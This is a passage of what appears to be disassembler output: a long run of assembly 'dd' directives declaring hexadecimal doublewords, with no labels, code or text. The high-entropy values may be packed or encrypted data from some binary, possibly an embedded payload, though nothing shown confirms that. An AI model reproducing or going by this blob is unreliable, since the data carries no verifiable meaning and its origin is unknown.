0F122B34Ch, 0C12A270Dh dd 668868D9h, 0CEFE03FDh, 0B2F4C680h, 92B081A2h, 0AAECE12Ch dd 833630E9h, 5D82932h, 131F5E72h, 0F4565B4Fh, 0F55ABCC2h dd 537C8A72h, 0D8AB9624h, 7F2DD889h, 92682140h, 92341B4Dh dd 2933C2FBh, 4B82077Eh, 0E039CE66h, 252D477Ch, 0AF093014h dd 0DC9A907Fh, 85640944h, 3382D529h, 91DC8E04h, 5E0E6BEFh dd 4CCF81C6h, 0D82F1263h, 4D7EBBEFh, 0A2E06A4Ah, 1DDAE826h dd 0B186E97Dh, 7A0A453Bh, 0A4DF604Fh, 0DEEDCE5Eh, 5256F600h dd 0F028D5B6h, 0E9065A61h, 0F1948B17h, 68B0FAEAh, 0E5A6591Eh dd 96C2F9BFh, 0CE2CBF5Eh, 52456016h, 0D5F684B5h, 3FCD801Fh dd 0DC4EDE0Bh, 0BE56604Fh, 8A2712C6h, 1F99F51Dh, 36AE00D6h dd 0B1574BB8h, 0A9F03A4Ch, 0F92412EDh, 4BE7096Ch, 7063C554h dd 0E814923Dh, 9F381E6h, 9FFC7D7Ah, 75A1C2DDh, 0E9780D74h dd 0EB475B3Fh, 75EFFB62h, 9381DC70h, 17840660h, 9501CD7h dd 0B9526303h, 7530E377h, 0EAC33B42h, 1F0630FFh, 0E253050Ch dd 7FF04B60h, 9021412Fh, 810A447Dh, 1251CE00h, 8B0F7B9Eh dd 198260DEh, 12552C6h, 72E91012h, 0EB4756BAh, 135BAA8Fh dd 82FFAD1Dh, 0E3E4B46Bh, 5E6EB319h, 0A1740059h, 16F4549h dd 0BF5711C5h, 0A4C90A12h, 0D13F1221h, 7BD6E9E2h, 48EADB54h dd 0D00C9FB2h, 7BD9F55h, 261E77E0h, 1BA5CF89h, 1A48D5Dh dd 32347B9Bh, 0CB09936Ah, 954F5893h, 0DC57317Fh, 0B1090105h dd 2A08BBBEh, 60E82CB0h, 22F51BA9h, 33908E41h, 0A303F832h dd 0D6A0C15Ah, 0AC89F86Eh, 12A9BFE9h, 0D69D3CD8h, 31362CE3h dd 0E513C210h, 2EF62553h, 22EF5527h, 485B3E68h, 0A9A2A625h dd 0FE78E6C7h, 0BBE7AAA5h, 804AE913h, 0A6DBDFAh, 551DF814h dd 672B17D8h, 97F88CAAh, 55E86E4Eh, 0E9BCCCF5h, 3C926C30h dd 3D5A62B8h, 0AC273EF8h, 7F02C089h, 89024DB7h, 3B2061E0h dd 40C28001h, 0D0288BBBh, 0E1B62C74h, 0E8ACC68Bh, 250548A3h dd 42DD7D8Ch, 0A5080FC8h, 0FEFD590Fh, 2C752910h, 818B1830h dd 63C5DF89h, 0C6022C16h, 46256968h, 0FEEF0E8h, 5964A113h dd 0B4D7AC37h, 817424C3h, 0C9402A5Eh, 3E1B48C6h, 0B25F3108h dd 0ECF71622h, 5A7849F2h, 4B6C1F0Bh, 0BDD93DEEh, 568C25B9h dd 5DE253E9h, 0BA0125DEh, 28896C63h, 4C69077Eh, 0D80299CEh dd 612F44E7h, 39FF7BDFh, 0A9DD8DF0h, 89DC4287h, 7A7060C5h dd 7CB5F98Ah, 0F8B566A4h, 5BD03AD3h, 10C5019Bh, 0C2580F9Ch dd 0D55DEB89h, 5F2DCAF9h, 5B20BC14h, 0DCD09542h, 5C3176BDh dd 57690D96h, 0E2B7F78h, 4309C504h, 5A32163Ah, 2C49859h dd 39846514h, 877324FEh, 0F4BBECADh, 552197D1h, 0CA4C550Ah dd 540E9060h, 0DA13302Dh, 0C3F39D23h, 0FB0BC968h, 5019B369h dd 0D25C99EBh, 30901ABh, 0ED018449h, 0BB67BABh, 17C0F64Ah dd 29F875F8h, 171B0B84h, 31C866D0h, 0CAFE56Dh, 0E93F107Ah dd 252667DBh, 7E3751E0h, 758E180Fh, 0A30D4A86h, 21351B00h dd 3744492Dh, 0D4E916C4h, 4E42AD72h, 7F6600ABh, 0D1F7432Dh dd 6B5E26B0h, 0A0B638ABh, 0EBD97E60h, 4B526431h, 2AE38710h dd 301C3008h, 1C5EA76Fh, 0B4576AE0h, 0E57552A4h, 0F15C1621h dd 2CAE2E4Bh, 3D00646Fh, 0E581607Dh, 17E832B3h, 0A8D5F709h dd 15420174h, 0E1CE933h, 9AEA1A0h, 8112199h, 390B9859h dd 0DC965FE6h, 0BB95102h, 0C018784Dh, 41CAE3Fh, 0CEE90E33h dd 4ACF953h, 4BCCCF90h, 0B41EB0FAh, 5E90B64Bh, 48E12802h dd 0B8743858h, 2054727Bh, 5302AA7Ah, 6D7FEB68h, 2F447723h dd 0B511CBFh, 0D42BB4F3h, 0E085F704h, 96C1482Ah, 46DF440Fh dd 2D55006Eh, 430E28D6h, 0F6089CB4h, 0C4552515h, 409520B7h dd 17BEBB4Bh, 1044BA6Ch, 2AB8C67Ch, 0AC1E53DEh, 360BDEAAh dd 596877E7h, 4D2C685Ch, 52C3F066h, 7557D851h, 4A6F5ACBh dd 0A7F85C4Fh, 5E20C6D5h, 0BB6FC47Ah, 0C0CD5CC0h, 2C7F2678h dd 471D0130h, 40455ED3h, 2E2A82E7h, 2F27D60h, 395A2F07h dd 4E82E781h, 0FAE906B8h, 1671E3A9h, 0F2807A3Ah, 8F1D28C7h dd 6C0220CFh, 90760490h, 0C97C0383h, 29940583h, 0BCD0C0E2h dd 0C342D05h, 10BA43B0h, 0BF4E07BAh, 0F3C0E037h, 1644D92Eh dd 0F92876E9h, 3FDF84E1h, 0EA4BA914h, 0D8F8791Ah, 0C1F1A043h dd 99DB8388h, 577ADC4h, 10F64236h, 0FE08F3E0h, 28C86021h dd 6452D59h, 0FE9AF2B8h, 0CAAE0FD2h, 0EA42764Bh, 75F1E909h dd 2F664D19h, 956B8CE4h, 5628407Eh, 0F6955BF8h, 0EB018919h dd 8FEA4AB3h, 0F64837F0h, 0F4A72F30h, 2CA18208h, 0BF006901h dd 4B92A676h, 0E96A4B2Dh, 232A2D0Dh, 0CBCB9FF4h, 0CE2BAEh dd 0E01094E9h, 1C4B4C2Ah, 0CF5D710Ch, 0FA548C7Ch, 38036AF2h dd 0E7D12532h, 40293C1h, 5AB43958h, 0E94FF0E0h, 56183530h dd 0BE22880Fh, 7B0D004Ah, 2D64B11Eh, 0CF2F7419h, 7728A89Eh dd 5A31BF00h, 0EF813E3Bh, 0AD2782E8h, 609A423Ch, 5FD2E975h dd 3D13F3DEh, 0B538CF21h, 0E6099F51h, 5040EA51h, 825F6D68h dd 21580940h, 2EB83BE1h, 7D6EBDB0h, 0DD60E22Dh, 6285EBA9h dd 34CDFBF5h, 1239E27Bh, 232046C9h, 4C207693h, 502EEA7Ch dd 60F3CEEBh, 807CB6E2h, 28E7C50Eh, 0B8EDAEF5h, 9A15E9B1h dd 3D679B57h, 0AB274792h, 0E90BB72Bh, 0CBEA6CEDh, 9868455Dh dd 562E453h, 277BA22Eh, 462F94A4h, 41DEB526h, 0A8DA96BEh dd 2E1A368Ch, 12AD5402h, 287BC2C7h, 0F3DF0009h, 95163773h dd 0EF411EF2h, 80E90B01h, 2BF5B17Ah, 25EB2056h, 29D5BA1Fh dd 7F984D0Bh, 20905B6Eh, 0CC89B325h, 0FBB071h, 732A125Bh dd 94E9FE01h, 31971BBFh, 5FDBEBA0h, 0F582DC52h, 475047BEh dd 4140BC4Ah, 3F401268h, 73B1E4A2h, 986563C3h, 9E23546Ah dd 5F066011h, 0EFF0CDD4h, 0C10E5D90h, 52C87003h, 8EE50FAh dd 1D85F75h, 0EF8D0F17h, 0C7ED8084h, 0F8491D10h, 0E888024Fh dd 6C29F58Ah, 25B279D5h, 54A9C7FEh, 0BADCFE25h, 0A4D21112h dd 7CBD6AFDh, 0C9EFC052h, 4D1A9826h, 0B6CC701h, 62305908h dd 0B0087595h, 0D4C4AE12h, 0D485B6AEh, 8E7852Ch, 0A06DF31Fh dd 7825C2BAh, 445948B3h, 88C0023Fh, 5AD7C8F9h, 11166812h dd 3C829E37h, 30794C5Fh, 60D165E2h, 0A1FEE1Eh, 7109C301h dd 7A867210h, 6FF19DE3h, 0E3EF6844h, 2EB1D21Dh, 0BAD8B7Bh dd 510A7068h, 1308B8AEh dd 0E985294Eh, 0F5BF7DE1h, 2694DCB4h, 7CB0507Eh, 3648BA09h dd 160ED84Fh, 0E1B4682Fh, 0CEE56AA2h, 5B849BCCh, 8B070044h dd 0E948A551h, 0FC84BA4Bh, 7FA529AAh, 4EF89384h, 6056809h dd 0E24A6666h, 553FBBFDh, 0F419FE84h, 0F66DC859h, 9F66C4Bh dd 0FE5F5417h, 0B13A5279h, 0C7AD7A87h, 83F65C2Eh, 28EB0D09h dd 76ED0F5Bh, 947BE909h, 684357FEh, 0CBBB948Dh, 0FDE15FD0h dd 0F2AC2ABDh, 82D6168Ch, 7C85ECCh, 1B9680FEh, 0F320D983h dd 0DE4CDA13h, 0C9123F3Eh, 8ACC0876h, 42E26805h, 0FAF403FCh dd 589530A6h, 36F15527h, 0F4928990h, 61408152h, 9AD0A359h dd 8954F96Ah, 76E6AD1Dh, 6AFFA182h, 0FDAD0BDFh, 0F101EBA3h dd 938408E9h, 87BBEE3Fh, 70A6B211h, 1670F35Fh, 72FBA85Bh dd 585AF51Dh, 1876C84h, 9DDC3F88h, 13D9CFC2h, 69217652h dd 0E8952DF2h, 140F4699h, 265E9880h, 4257EA0Bh, 891ED985h dd 615AD8A0h, 0D217B730h, 4AD33F4Fh, 1693B834h, 0E567868h dd 0B85C08h, 0C9BC3540h, 0DCA18945h, 0ABE5EF9Ch, 0C935ECBh dd 0C91F3FF1h, 0B9520C09h, 0A0986126h, 0B766C924h, 0A1F81546h dd 0C63381EDh, 0C8FAF6D0h, 5D9EC2Eh, 698EE9D9h, 4F8F24AFh dd 0E08550ECh, 0CE15ED97h, 0AD16B0D3h, 7DDAFD3Ah, 1A93D183h dd 0F6184A36h, 387ABD37h, 0F4F4F7E6h, 4E41524Ah, 13655D14h dd 0A4D5BF8Ch, 1E0EF2A7h, 3801482Fh, 0B5A50E1Ah, 0C209CD10h dd 805669B0h, 0A3277B24h, 49C3F235h, 7C0791EBh, 0F37FEE7Dh dd 63000C7Ah, 784777F3h, 0B0DF893Eh, 0DA2B5D10h, 799A8408h dd 0B6C18007h, 0FD538192h, 9AADBFAAh, 0AD99E94Ah, 0C8CA3E5Dh dd 4386CF4Eh, 2FD1970Ch, 22076FB0h, 4FD72877h, 0AC7B2F1Bh dd 0FB2B9EE2h, 75B20B25h, 0C0B55EC4h, 80C14560h, 5B4ADA01h dd 0CC9FD9B9h, 211ED91Ch, 50FEF377h, 5B2FF792h, 0C94DF401h dd 0ADBE6D77h, 5531A35Fh, 428CB956h, 0D3046332h, 0C0404376h dd 1A744535h, 30F5258h, 3C2342CFh, 0E1E7B067h, 5A95306Dh dd 55617E56h, 0EFB5D34Ah, 8C3E99DDh, 0C35D8697h, 5598BA1h dd 31EF36FAh, 97562517h, 0A120C6A7h, 5DA9685Fh, 6480F727h dd 0F7315A7Fh, 10DCD858h, 0AB4F0F12h, 0AFA54437h, 1D14B4AFh dd 955D3940h, 0D88C2914h, 7CA76827h, 6DE961A0h, 7BA1368Fh dd 2149625Bh, 0A44E2987h, 6FB17577h, 0E076A96Ah, 0AB45EB68h dd 60C5C769h, 1FA3CCD8h, 645EFE70h, 5B950497h, 3DD8AF58h dd 0FBA45F66h, 0F53BDC6Dh, 0E09B3A7Bh, 46D8201Ah, 5208E1F5h dd 0EE0F163Ah, 844F76CAh, 0E879F3Fh, 127EACE9h, 8F06F2AAh dd 6222E9D0h, 0E2BE5786h, 0C4A37EBFh, 0E1B7004Fh, 0E19CB353h dd 0FD28DB40h, 9CED7880h, 0B5590957h, 0EAC39B24h, 5C2A8880h dd 276E7E48h, 5479ECF5h, 0E1DDF742h, 0DD6FB345h, 2CC4ED49h dd 34C95479h, 0BA1F3896h, 0D16D74C3h, 7BD23831h, 2D129C4Eh dd 0E807CB0Eh, 6D36A235h, 0D0A7C031h, 0AD07A305h, 685A1101h dd 4E7A57B0h, 0EA132438h, 1349ECA3h, 0DE22382Fh, 0F6574605h dd 0DE9D823h, 2C14E859h, 37124302h, 44E4A7AEh, 515FCF17h dd 0D08321FBh, 3CBF04FDh, 7F24E9D7h, 7CA7819Fh, 1324D3h dd 2E35306h, 8C90F829h, 7D2F089Eh, 57221D96h, 51E23237h dd 59045CB0h, 62A95390h, 290E2458h, 0A2C955Dh, 0ED13681Fh dd 7920F766h, 710507EDh, 0A4FDBEDEh, 42C8FFECh, 4222410Ch dd 48FF3013h, 0C832C184h, 5C071706h, 0E9B7F128h, 32C03D58h dd 0EA6994F0h, 5732F75Eh, 0A7A3C7F7h, 9D4D044Ch, 0A3BF04D5h dd 28F0F93Ch, 768EA18Eh, 6A990C82h, 9B6A6B4Ch, 1D5FE589h dd 44FCA58Bh, 7FB95189h, 0C40150A5h, 6BFB1573h, 0F92A295Ah dd 751DA742h, 5F4CE713h, 85B21631h, 51E06BF8h, 0C0B543B5h dd 5BE9DE2Eh, 0EEF0F4B9h, 0A5261F0Ah, 7E00814Bh, 8972CF5Fh dd 5BE973F5h, 882AAFB2h, 31EA2C4Ah, 0E0BB8040h, 210AC408h dd 30B8BED8h, 0C20734F1h, 505EA318h, 4197E4F6h, 0FD21208Ch dd 5BDE8800h, 0F6F4B050h, 0E8C000D0h, 28963408h, 2926E9C6h dd 0CCA0264Ch, 96BFC3EEh, 237A0AE0h, 2DC618DDh, 0E9123F5Ah dd 8AA636E3h, 0DE061810h, 67499E09h, 45B9600h, 17EB7EC6h dd 551A25A2h, 0F15F1263h, 0B3509ABh, 2CB2C35Bh, 0E98BD7ECh dd 0E814BBD7h, 51D82DCFh, 80CCE30Fh, 427D6740h, 0A50DE105h dd 0D872BB1Eh, 200548ADh, 4DBF04ADh, 0AB19AA47h, 7E8920ECh dd 0C4BB1CA3h, 3B587DA9h, 814B60AEh, 9E123CF7h, 0EEACE985h dd 0BD09E73h, 0FF793721h, 57AC01C4h, 6040C116h, 738D589h dd 38764348h, 112F00ADh, 459BE181h, 6607653h, 3C5EC7E9h dd 0C108184Ah, 631C1Bh, 0C69CFA8Dh, 6EEECD01h, 0C5E4575Fh dd 5A4B1E20h, 8419CB3Ch, 6C824454h, 8B711315h, 504156FDh dd 4C495DBBh, 2A180EBBh, 0E909F0AEh, 4DB00D13h, 0C69734E3h dd 0F1F7050Eh, 5E25A268h, 29940A6Dh, 66C989E8h, 680D55Eh dd 4913E634h, 48F10481h, 80023108h, 2C7AF99Ch, 0C80C3C63h dd 63DA1Bh, 500584C5h, 8C8C8964h, 0D2D4D2A1h, 743A9D8Fh dd 0C1507CF4h, 1346ECE6h, 0E7D9FFE9h, 0EFD11F00h, 0F6CCA77Ch dd 0DE65C2BCh, 0B6CFDA5Dh, 51F4AD58h, 0A9A89945h, 0E68EA5Ah dd 740B4A2Fh, 73EDBA4Eh, 0ABD2C496h, 0EB8F1E2Ch, 0E287746Bh dd 15A16A1h, 0E9BB61BAh, 0CD3C4Fh, 2E47A705h, 4BA5201h dd 38A51C5Fh, 27DCE21h, 0E948E8D1h, 2D9FF045h, 20F7464Eh dd 1ED1229Ch, 0F72930CBh, 77B7EF9Eh, 727B8827h, 7D088249h dd 220B414Ch, 7F569D0Eh, 0B5C7BE21h, 0E967E416h, 0F2DBEB55h dd 95D54677h, 0D6579475h, 958BAFD9h, 0B3806727h, 0EF8034B7h dd 0CAA0444Fh, 16934E8Eh, 6DDCAF18h, 0D9F1A18Ah, 0B162F23Eh dd 903A08E9h, 4C43E5BFh, 0C13DE31Dh, 6D1260BEh, 9048A31Eh dd 6F2D0969h, 6022774h, 0C0F547D4h, 3A07E910h, 0A616D9F7h dd 36DAD065h, 5317082Eh, 6204E1C1h, 8E44A5Eh, 0EA0944B4h dd 0C22CCD73h, 0B2054A56h, 0CBC1281Fh, 0BC388684h, 5E4A68C2h dd 0F4144CD7h, 0F6355B7Ch, 676E09DAh, 38198105h, 0AAE39D68h dd 21A668BDh, 5B6AF8D5h, 6EFCA595h, 0D9BB4E12h, 0F7386056h dd 3882E7B6h, 7F3CF161h, 0D5CA1B00h, 31F76D4Dh, 292C6456h dd 895F58C5h, 0C6B6D44Ah, 0D2E48080h, 0EC02ECC0h, 0C0964F4h dd 6BD2EB03h, 0C2DFCB87h, 0A73804C6h, 2CE048CAh, 55AF8C83h dd 0F1B4F1A5h, 0C8E32B87h, 5A1042D2h, 8684E2C1h, 0BAECBAC2h dd 291A3683h, 0C9B6ADE7h, 0D7442F6Bh, 0AE13E857h, 43056613h dd 0D440A088h, 65E966C5h, 0B3C4978Dh, 85AC619Fh, 0F709DFDAh dd 0E967E456h, 310DE0D9h, 905F49F9h, 6A2CBB4Fh, 0F9514BA4h dd 5758F1CEh, 793142C6h, 886C4C42h, 9F854EB5h, 5DF2E17Eh dd 0C24A4B4Ch, 5B9C2DC4h, 255AB470h, 0A957365Dh, 0E90853ECh dd 0DA46BB25h, 0EFDFF9CDh, 812FC3F0h, 7C20EE3h, 0F3C00AB6h dd 0EA63F420h, 9724D9BFh, 0FEB65222h, 0BCD98F3Ch, 25702353h dd 0BC970785h, 515F25B0h, 0E95340BDh, 58813D3Bh, 1CD3D740h dd 0F226C02Ah, 5577237Eh, 79B0E91Ch, 0F4E7D525h, 29185727h dd 3BE11E88h, 0AD412A8h, 50F17910h, 0B895A12Bh, 9DEA8987h dd 508880DDh, 9C819EE9h, 78DC4BFFh, 681C1451h, 969F1770h dd 0F3E91A18h, 697D0A41h, 37F9CF0h, 0DE2CAC1Ah, 349606C1h dd 5F09FD07h, 3D5F74Dh, 106E902Dh, 1F9A4243h, 1B13B22Ch dd 0F9BF69C4h, 85EEA4ADh dd 0C0D0112h, 754A7413h, 40D8CC00h, 0AA0866B8h, 76B9409h dd 69990170h, 0BF9A5277h, 86624C40h, 0F1A0265Eh, 4FD6FE42h dd 1122D052h, 4AF04175h, 9F8D0F13h, 22FEC5C5h, 0C0589A61h dd 2461C0BFh, 0E9490BD8h, 4C7C5B25h, 0A47E0559h, 1D5EE9D7h dd 0DC416A0Ah, 0D737A93Bh, 6C5B2A02h, 0C08BF797h, 0D9884A02h dd 963B797Dh, 3A60E1BAh, 0B4338BAh, 8220FA94h, 4C4B390Fh dd 0E236AB37h, 0C2CFC164h, 8F4AA03Eh, 32B86240h, 31E4B1F3h dd 407DE18Bh, 25E9DDE9h, 0F4569A34h, 0F9113FC2h, 3048364Ah dd 0D927EB92h, 931665Bh, 0DEE51FBh, 82E7C5FDh, 61F25AEAh dd 747F56E1h, 0C9EF89E2h, 0D41AE8CEh, 0ED5714D2h, 0DDA605AEh dd 3B1B8D4Ah, 12D6DAA0h, 670D1228h, 14F5D50Fh, 0BF27490Ch dd 806AD4DEh, 70B8CB1Fh, 0ED96AFFFh, 161326FDh, 0E188C960h dd 0F816495h, 9A41872Ch, 70272D80h, 2789CB28h, 27D58C6h dd 5D71B179h, 447F2192h, 2CC290B6h, 965F2F6Fh, 2C41354h dd 0D076EA59h, 8C7484DDh, 3B818CFFh, 0B96EE841h, 2779875Fh dd 0A19AC508h, 5FB86EDAh, 0ECC4C682h, 66D3FA60h, 80AA5A60h dd 165923EBh, 8D737268h, 12AB3EACh, 152ECBEAh, 2DF65E30h dd 0A82759D8h, 6B316BFh, 0DC5B051Fh, 0A744EA3Ch, 0FE1E36F8h dd 0EBD25125h, 50D0025Eh, 0B101FC3h, 0F329278Dh, 28089888h dd 20209081h, 0BB5BD697h, 497A3CBDh, 0BE00683Eh, 0F27119C7h dd 8F98F701h, 0F4BDC4B8h, 4FC152F3h, 0E7DFC219h, 0D334A64Fh dd 0DFB2B012h, 52DF10E2h, 0FC6F84E2h, 4B2D0019h, 0F30F861h dd 43AD3180h, 1322CFDh, 2030EBC1h, 51A22D8Bh, 0E93E2B6Eh dd 9F3362F6h, 9C18DD75h, 0BD8091E1h, 846913DAh, 1FA41255h dd 0A6A65E5h, 6BE289A0h, 2B9C59C3h, 0C14F3C5h, 0E8962DB1h dd 2F876152h, 32FC5A4Fh, 6805498Ch, 0F6CC3D86h, 0E6CB086Eh dd 27F85309h, 0A73FC595h, 0B04B4D77h, 2DAC6888h, 5F0021B3h dd 0E92A4817h, 0BD1F704Eh, 974FEAF3h, 0DF011281h, 97A43ADCh dd 83E2CE4Bh, 0F791FD09h, 0F7AC243Fh, 843AD978h, 0E5B24E1Bh dd 0AF488584h, 0B32AA2C9h, 61ABDAD0h, 8AF4F507h, 0AD40B561h dd 846253E9h, 7169279Dh, 0BE0F0058h, 6A968C8h, 78626B9Ch dd 0C1C11B2Dh, 0EE72A27h, 267010h, 28532DADh, 49685C8Ch dd 9D945A81h, 5795CB20h, 0E5DFF88Bh, 64554937h, 0AA0A5F2Dh dd 0F8EF2C24h, 0B2BFB44Eh, 0B06592CDh, 2D9B8ABBh, 706EDE56h dd 2F559268h, 541EA595h, 155D72B5h, 0F18BA757h, 1D502704h dd 6AC2A552h, 8ADD410Fh, 96CA3F82h, 82F56E77h, 0F469EF9h dd 125BE2E6h, 77781625h, 0BDB5EA33h, 6AD02DB4h, 2D81F0CEh dd 0EF14C52h, 68552C89h, 75490354h, 0A8215A1Ch, 0EA7C10E5h dd 0F054AA5Eh, 82471751h, 0B09A8BDh, 34DCAA6Ah, 0C0BE5D12h dd 0F1E902DDh, 0A26C529Fh, 19607F72h, 23211C84h, 9808206Eh dd 90695B0Fh, 0CC54B59Eh, 0BC2E9CB8h, 568B6EDEh, 9DB7715Fh dd 1EF0A47h, 6D0303AEh, 0E7B06A27h, 4E2C6CB1h, 1513B76Fh dd 0C9DE84A9h, 0A620DB4Ah, 0DE6D05D8h, 893B4209h, 47405CC1h dd 810BD466h, 7EC68FE3h, 0DF873EF2h, 835B9553h, 2008D09Dh dd 0BD01685Ah, 0AB34E092h, 0C2812620h, 765C049Eh, 0B8EA0112h dd 5D20644Bh, 0ACC68BAh, 0DC2D02B4h, 5D5C59B7h, 0FAC22E1Ch dd 246AE487h, 0C2D7287Dh, 0FF09F991h, 99EBC730h, 621559B7h dd 0B4019BCDh, 706A59C0h, 363CE9B7h, 89387BB5h, 3C9578Ah dd 4A0128BFh, 6034C9FAh, 0EBFC51C4h, 0A567985Eh, 46900FA5h dd 2EADCA2Dh, 0A73BDD5Dh, 0CE035452h, 30317FB9h, 0BA53E5E9h dd 7F66DDEFh, 778061BDh, 0E97B5E1Dh, 7C02E22h, 30F5F380h dd 3326B3DDh, 0DBE02C4Bh, 0F77240AAh, 46DD348h, 0CE62EF1h dd 0C52F63F1h, 53C38048h, 80B58C1Bh, 0F03B8634h, 0E1FCF96Bh dd 6D232F6Eh, 69DC9FE0h, 97ACA983h, 58E0F00h, 0F68FA0B5h dd 7C251592h, 0DE8D174Ch, 0FC7A251Bh, 47BC24E6h, 5A52899Eh dd 0C1C125B7h, 232D06E0h, 65CA1042h, 0C42051Dh, 23A46792h dd 0D8D7302h, 0E8B7B3E9h, 3657B937h, 0E87C63CCh, 0F505E625h dd 7D8302EAh, 16F04D24h, 509ABAE9h, 0E0F10124h, 0F3766403h dd 0FF0C4E5Fh, 0E671FE45h, 0B3C986F8h, 0C2B94261h, 2BE75082h dd 246F9D7Eh, 0CCEAA933h, 201454DFh, 4E57EF4h, 99636BCh dd 23CC14EAh, 0CA76E216h, 6C482511h, 9D539887h, 5390B409h dd 22C02A1Dh, 667646BDh, 0E8313E7Bh, 0C8C28D2Dh, 0F83F6CDDh dd 0E45B5EAEh, 66B715BCh, 0B5D4FC2Fh, 0F73D36DAh, 12E513C4h dd 209FD0EAh, 2F5EE438h, 4C80EF85h, 4C642CB0h, 0A111EF60h dd 3F20284h, 5F17654Bh, 184DFF86h, 54913413h, 4070E4D8h dd 0EF0CB758h, 192AAB68h, 0E2785E08h, 2EE5D4CEh, 0FF4B27DAh dd 0A0BB2625h, 2826E932h, 0A140FDD2h, 0F662F07Ah, 0CC164E0Bh dd 644196D1h, 39A1B43Dh, 498D2EC1h, 9485FEE4h, 0B25DE940h dd 68E67F32h, 0A2F73127h, 482113Eh, 0DE19058h, 12F3C6Dh dd 50F4DEF0h, 0F75EABE9h, 70DD07E4h, 405CBF03h, 17EF659h dd 70680D31h, 0CEF3285Ah, 0EBDB938Bh, 4FC0A47Eh, 4F3DF24Bh dd 3EA246ABh, 0C01E1676h, 0AF0B03EAh, 2BCF90E5h, 6FA02406h dd 75E201A3h, 61475F91h, 2EA665CAh, 17205DE1h, 9391974Ch dd 7FFD3852h, 4A75503Bh, 3E90CBF2h, 0CAB7710h, 6D53166h dd 0D260EDEAh, 0B22D4FFEh, 0C32884C5h, 0E3849F81h, 0E051DB2Dh dd 0C5D2E82Bh, 31A9035Dh, 4E22E982h, 7A5D9CCAh, 0C4E24B5Ah dd 0F5E7EF89h, 0F86CD217h, 3D099E85h, 543A22CFh, 0D680097Ah dd 2FA85694h, 19C57C92h, 0D0127FE9h, 0C498F2BBh, 82903568h dd 973FDBE9h, 5415917Dh, 0BD98EEE8h, 0A0480D51h, 0AD6657C9h dd 26C539Dh, 3F580A39h, 21671E1h, 82885D28h, 22F10D1h dd 5AE5E0BDh, 0D55042AEh, 0D1494BC4h, 7C3109B4h, 2B511924h dd 284AF37Ch, 185BFFB3h, 0EDEB39D0h, 1E832F3Ah, 809964Ah dd 68C0F1F4h, 4B6B4BAAh, 0E95FF011h, 0C6FB982Fh, 0DB12201Bh dd 836870C2h, 5AC45E3Dh, 2C3B8C1h, 2E93D554h, 7A627809h dd 8F528112h, 4B03362Ah, 52D6E3E8h, 0F72F4509h, 39248EDBh dd 43B5743h, 0AE8007D6h, 0B85ACDA9h, 63CB4A87h, 0F9CE2192h dd 0DAE87ABBh, 0AD7E6884h, 6E221272h, 938537EEh, 125B77B6h dd 0AA1E13BFh, 8F41B1DFh, 91686D50h, 0A4E79908h, 487E004Eh dd 1EB94026h, 4AEA9F04h, 684D129h, 0BF0214A8h, 5D1244ABh dd 4CDFD8Eh, 4C032E0Dh, 90D0B11h, 2523E912h, 3ABE856Ch dd 0F2EA3092h, 9EC5F2Bh, 0BFE004F5h, 860F01F6h, 3680270Eh dd 882AC480h, 0F7EC58E7h, 37C0672Ch, 0DAE8E904h, 26AD9F91h dd 0F8E48D2Fh, 0CCAA35B4h, 0D901327Fh, 43E98BA4h, 0A32D5160h dd 7D451F01h, 97EF820Fh, 4EE92F24h, 6E2DB166h, 0AF9211E2h dd 0A35A6DCEh, 0CC8AD246h, 6962FB5Ah, 0A013CA8Fh, 0AC51A186h dd 550CFA4Dh, 20F7FA47h, 88279C0Eh, 0ACC47DDAh, 0A852159Dh dd 858ADA07h, 62DFC342h, 57EE0124h, 0ECCE883Ch, 0A8E91706h dd 0E388EA61h, 0E748B7C0h, 2F26333Eh, 20E2CE15h, 92737199h dd 1739A9B8h, 58DD8F7h, 583F20h, 0FB53AE05h, 902EE936h dd 5BB86CC0h, 0D20F9255h, 0B271534h, 160CAB4Bh, 0B5FB0FA9h dd 6B9FBA50h, 0D44AF18Eh, 0C5D562Fh, 2CBD3BAEh, 56387CB5h dd 3172E918h, 1D665310h, 246745BBh, 81803BFEh, 0E96FD6CBh dd 0D5974E19h, 0A72E6E14h dd 0DBC9EF3Dh, 0AAC2C43Fh, 0DD6D7513h, 7C22AE2Ah, 4582A0A4h dd 4AAC880Fh, 5471EB79h, 0A978E99h, 0FE22AF5Bh, 0BC8B7D9Eh dd 0C436EB02h, 0BCC20682h, 87A37709h, 93F9F8F5h, 4CEFF820h dd 0FFB37EE1h, 116C09D3h, 54F51F6h, 0BB4D9F67h, 68E4E84Ch dd 13A29F37h, 0EE7D506Fh, 633A5988h, 0CA215A0Bh, 1B61060Eh dd 0D8132B45h, 2F042EF2h, 0D0090B6Fh, 0EBC225FAh, 9F1D5791h dd 0D234E87Ah, 5A36C40Bh, 2F8BF56Ch, 87425DEAh, 0CC370C74h dd 4B7F1FB1h, 7C09B67Fh, 34AF024Ah, 13A9BB68h, 0EBC47F3Dh dd 1D334401h, 2F106820h, 0DF127426h, 1DACF46Eh, 8FB5E00h dd 44396C35h, 15019F2Ah, 6F0E3068h, 127EA7CCh, 0BB327518h dd 0A5536B02h, 0BDB24135h, 18EFCA6Ah, 0EE1759EBh, 426403DDh dd 7D8D0F14h, 0D14F22A6h, 35AFFE74h, 7EB01EDh, 2B319F66h dd 26F01112h, 2BBE2E10h, 0C9822D2Ch, 0CC0D729h, 0EC0E7434h dd 0A3EF817Fh, 47D7C36h, 0AC1B6F0Ch, 2A94BB60h, 0B0C081Ah dd 123D3214h, 86897D06h, 64DF8BD8h, 0C9FE740Eh, 38EB7F29h dd 79F5F59Ah, 0C9EECB7Fh, 7C135A5Fh, 0D7DED2ACh, 0BCBB574Bh dd 401FC964h, 7E2BA4Fh, 8169FC6Fh, 23FA1EAh, 90E43E79h dd 9A924AE0h, 0E2A748DFh, 6AC9C250h, 0C51E5D3Ah, 55825EB6h dd 7735C268h, 1B90FB4Dh, 92F5EB40h, 0B5CB591h, 18ED79C7h dd 4E6CC3E8h, 2EF9F65Dh, 8087E17Eh, 0EE3367CEh, 91063C5Bh dd 172AC6B3h, 0D22CF081h, 0ADBDB785h, 30C5023Ah, 0FFA396E6h dd 0CCD1B1E1h, 1030E951h, 21C22344h, 6730023Ch, 0BB53F201h dd 3DA60888h, 3FF16D83h, 2C41DA29h, 0D25E6C08h, 0EAF87792h dd 3A1AF7DFh, 4938E261h, 2DD60FDh, 10F95B4Dh, 0BE01BA35h dd 50812D37h, 28A83F21h, 8862E889h, 9EBEE760h, 17D9041Fh dd 0F7F3B209h, 68122B94h, 0DE327E96h, 5BF37E51h, 337F3782h dd 0CB02D2F4h, 2275F92Fh, 0C1C5D13Bh, 85219755h, 0C404AF53h dd 